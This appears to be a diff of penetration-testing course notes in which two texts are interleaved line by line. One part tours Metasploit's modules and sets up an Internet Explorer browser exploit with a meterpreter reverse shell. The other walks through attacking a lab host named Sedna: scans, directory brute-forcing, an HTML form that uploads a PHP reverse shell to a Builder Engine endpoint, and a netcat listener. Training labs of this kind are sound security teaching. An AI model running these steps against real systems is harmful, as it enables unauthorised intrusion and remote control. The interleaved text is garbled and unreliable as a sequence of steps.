These are being phased out, though, and post-exploitation modules are what is being more preferred.
1440+
---------------------------Type This-----------------------------------
1441-
The next important directory that we should get used to is the 'tools' directory. Inside the tools directory we'll
1441+
1442-
find a bunch of different ruby scripts that help us on a pentest with things ranging from creating a pattern of code
1442+
cat >> exploit2.c << out
1443-
for creating exploits, to a pattern offset script to find where at in machine language that we need to put in our
1443+
----------------------------------------------------------------------- 
1444-
custom shellcode.
1444+
1445
https://www.exploit-db.com/raw/37292/
1446-
The final directory that we'll need to keep in mind is the plugins directory, which houses all the modules that have
1446+
1447-
to do with other programs to make things like importing and exporting reports simple.
1447+
**************hit enter a few times *****************
1448-
Now that we have a clear understanding of what all of the different directories house, we can take a closer look at
1448+
1449-
the exploits directory and get a better understanding of how the directory structure is there, so if we make our own
1449+
---------------------------Type This-----------------------------------
1450-
modules we're going to have a better understanding of where everything needs to go.
1450+
out
1451
1452-
cd ~/toolz/metasploit/modules/exploits
1452+
1453
gcc -o boom2 exploit2.c
1454
 
1455
./boom2
1456
1457-
- The exploits directory is split up into several different directories, each one housing exploits for different types
1457+
1458-
of systems. I.E. Windows, Unix, OSX, dialup and so on.
1458+
-----------------------------------------------------------------------
1459-
Likewise, if we were to go into the 'windows' directory, we're going to see that the exploits have been broken down
1459+
1460-
into categories of different types of services/programs, so that you can pick out an exploit specifically for the
1460+
......YEAH - do the happy dance!!!!
1461-
service you're trying to exploit. Let's dig a little deeper into the auxiliary directory and see what all it holds
1461+
1462-
for us.
1462+
1463
1464-
cd ~/toolz/metasploit/modules/auxiliary/
1464+
1465
 
1466-
     
1466+
 ##################
1467
# Attacking Sedna #
1468
###################
1469-
- And a little further into the directory, let's take a look at what's in the scanner directory
1469+
1470
Attack steps:
1471-
cd ~/toolz/metasploit/modules/auxiliary/scanner/
1471+
-------------
1472
 
1473
 
1474-
- And one more folder deeper into the structure, let's take a look in the portscan folder
1474+
1475
Step 1: Ping sweep the target network
1476-
cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
1476+
---------------------------Type This-----------------------------------
1477
nmap -sP 172.31.2.0/24
1478-
   
1478+
-----------------------------------------------------------------------
1479
1480-
- If we run 'cat tcp.rb' we'll find that this module is simply a TCP scanner that will find tcp ports that are open
1480+
1481-
and report them back to us in a nice, easily readable format.
1481+
1482
1483-
cat tcp.rb
1483+
1484-
   
1484+
1485
Step 2: Port scan/Bannergrab the target host
1486
---------------------------Type This-----------------------------------
1487-
- Just keep in mind that all of the modules in the auxiliary directory are there for information gathering and for use
1487+
sudo nmap -sV 172.31.2.86
1488-
once you have a session on a machine.
1488+
-----------------------------------------------------------------------
1489-
Taking a look at the payload directory, we can see all the available payloads, which are what run after an exploit
1489+
1490-
succeeds.
1490+
1491
PORT     STATE    SERVICE     VERSION
1492-
cd ~/toolz/metasploit/modules/payloads/
1492+
22/tcp   open     ssh         (protocol 2.0)
1493
53/tcp   open     domain      ISC BIND 9.9.5-3-Ubuntu
1494-
   
1494+
80/tcp   open     http        Apache httpd 2.4.7 ((Ubuntu))
1495
110/tcp  open     pop3        Dovecot pop3d
1496
111/tcp  open     rpcbind     2-4 (RPC #100000)
1497-
- There are three different types of payloads: single, stagers, and staged. Each type of payload has a different
1497+
139/tcp  open     netbios-ssn Samba smbd 3.X (workgroup: SEDNA)
1498-
application for it to be used as.
1498+
143/tcp  open     imap        Dovecot imapd
1499-
Single payloads do everything you need them to do at one single time, so they call a shell back to you and let you
1499+
445/tcp  open     netbios-ssn Samba smbd 3.X (workgroup: SEDNA)
1500-
do everything once you have that shell calling back to you.
1500+
514/tcp  filtered shell
1501-
Stagers are required for limited payload space so that the victim machine will call back to your attack box to get
1501+
993/tcp  open     ssl/imap    Dovecot imapd
1502-
the rest of the instructions on what it's supposed to do. The first stage of the payload doesn't require all that
1502+
995/tcp  open     ssl/pop3    Dovecot pop3d
1503-
much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used
1503+
8080/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1
1504-
to download Stages payloads.
1504+
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
1505
SF-Port22-TCP:V=6.40%I=7%D=1/26%Time=5A6B4540%P=x86_64-pc-linux-gnu%r(NULL
1506
SF:,29,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n");
1507-
- Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind
1507+
1508-
shells.
1508+
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
1509
Nmap done: 1 IP address (1 host up) scanned in 246.11 seconds
1510-
cd ~/toolz/metasploit/modules/payloads/singles
1510+
1511-
cd windows
1511+
1512
1513
1514
1515
1516-
- We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and
1516+
1517-
see what it actually does.
1517+
1518
1519-
cat adduser.rb
1519+
Step 3: Vulnerability scan the webserver ports
1520
---------------------------Type This-----------------------------------
1521-
Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give
1521+
1522-
the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that
1522+
1523-
it gives Windows to add the user to the system.
1523+
1524
 
1525
git clone https://github.com/sullo/nikto.git Nikto2
1526-
- Stagers just connect to victim machine back to yours to download the Stages payload, usually with a
1526+
1527
cd Nikto2/program
1528-
windows/shell/bind_tcp or windows/shell/reverse_tcp
1528+
1529
perl nikto.pl -h 172.31.2.86
1530-
cd ~/toolz/metasploit/modules/payloads/stagers
1530+
1531
perl nikto.pl -h 172.31.2.86:8080
1532-
   
1532+
-----------------------------------------------------------------------
1533
1534
1535-
- Again, we can see that we have stagers for multiple systems and code types.
1535+
1536
1537-
ls windows/
1537+
1538-
   
1538+
Step 4: Perform directory bruteforce against the target host
1539
---------------------------Type This-----------------------------------
1540
wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
1541-
As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim
1541+
1542-
machine, so we can upload or download our stage payloads and execute commands.
1542+
perl Webr00t.pl -h 172.31.2.86 -v
1543-
Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with
1543+
-----------------------------------------------------------------------
1544-
our stagers...
1544+
1545
1546-
cd /toolz/metasploit/modules/payloads/stages
1546+
1547
                  or with dirbuster (dirb)
1548-
   
1548+
1549
1550
1551-
Again, we can see that our stages are coded for particular operating systems and languages.
1551+
1552-
We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the
1552+
---------------------------Type This-----------------------------------
1553-
victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run,
1553+
1554-
if any.
1554+
1555
git clone https://github.com/v0re/dirb.git
1556-
- Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have
1556+
1557-
already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens,
1557+
cd dirb/
1558-
so we can impersonate other users on the system in hopes of elevating our privileges.
1558+
1559
./configure
1560-
cd ~/toolz/metasploit/modules/post
1560+
1561
make
1562-
cd windows/
1562+
1563
dirb
1564-
   
1564+
1565
./dirb http://172.31.2.86 wordlists/big.txt
1566
-----------------------------------------------------------------------
1567-
Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all
1567+
1568-
the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to
1568+
### dirb output ###
1569-
escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as
1569+
==> DIRECTORY: http://172.31.2.86/blocks/
1570-
possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in
1570+
==> DIRECTORY: http://172.31.2.86/files/
1571-
memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network.
1571+
==> DIRECTORY: http://172.31.2.86/modules/
1572
==> DIRECTORY: http://172.31.2.86/system/
1573
==> DIRECTORY: http://172.31.2.86/themes/
1574-
# Day 4 Homework #
1574+
1575
+ http://172.31.2.86/robots.txt (CODE:200|SIZE:36)
1576-
Please take screenshots of you doing the first 10 videos in this playlist
1576+
+ http://172.31.2.86/server-status (CODE:403|SIZE:291)
1577-
https://www.youtube.com/playlist?list=PL1512BD72E7C9FFCA
1577+
### dirb output ###
1578
1579
1580
1581
1582-
###################################################
1582+
1583-
# Section 2: Actually Using Metasploit (For real) #
1583+
Browsed each of the directories and found that inside of the /themes folder contained the vulnerable application Builder Engine 3.5.0
1584-
###################################################
1584+
1585-
The Windows 7 VM required for this lab can be downloaded from here:
1585+
An exploit for this application can be found at:
1586-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
1586+
https://www.exploit-db.com/exploits/40390/
1587-
    username: workshop
1587+
1588-
    password: password
1588+
1589
1590-
##################################
1590+
1591-
# Basic Client-Side Exploitation #
1591+
1592-
##################################
1592+
-------------------save this a "BuilderEngine.html"-------------------
1593
<html>
1594-
echo j0e-r0x > /home/infosecaddicts/j0e-r0x.txt                   (You can of course replace j0e-r0x with yourname)
1594+
<body>
1595
<form method="post" action="http://172.31.2.86/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" 
1596-
sudo /sbin/iptables -F
1596+
1597
enctype="multipart/form-data">
1598
    <input type="file" name="files[]" />
1599
    <input type="submit" value="send" />
1600
</form>
1601
</body>
1602-
use exploit/windows/browser/ie_cgenericelement_uaf
1602+
</html>
1603
-----------------------------------------------------------------------
1604-
set ExitOnSession false
1604+
1605
1606-
set URIPATH /ie8
1606+
Download this webshell (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz) to your local machine.
1607
1608-
set PAYLOAD windows/meterpreter/reverse_tcp
1608+
Change the IP address in the source code of the webshell to another server in the lab network that you have root access to.
1609
1610-
set LHOST CHANGEME-TO-YOUR-UBUNTU-IP                                            (Make sure you change this to your ubuntu ip address)
1610+
On the other server run:
1611
nc -lvp 1234
1612-
exploit -j
1612+
1613
Then upload the pentestmonkey reverseshell to .86
1614
 
1615-
- Now from the Win7 host, use Internet Explorer 8 to connect to the exploit address (local address)
1615+
============================================ Attacking another server because I need a reverse shell =========================================
1616-
- given to you by metasploit.
1616+
1617
##################
1618-
- The address will be something like:
1618+
1619
##################
1620-
http://CHANGEME-TO-YOUR-UBUNTU-IP:8080/ie8                                            (Make sure you change this to your ubuntu ip address)
1620+
Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have covered so far. Make the subject of the email "First Name - Last Name - CyberWar Day 1" (ex: Joseph - McCray - CyberWar Day 1).
1621
 
1622
Also be sure to name the attached file "FirstName.LastName.CyberwarDay1.docx" (Joseph.McCray.CyberWarDay1.docx).
1623
 
1624-
- This will simulate a victim clicking on your malicious link and being exploited with a browser exploit.
1624+
NOTE: This is what is required in order to receive your certificate of completion and CPEs.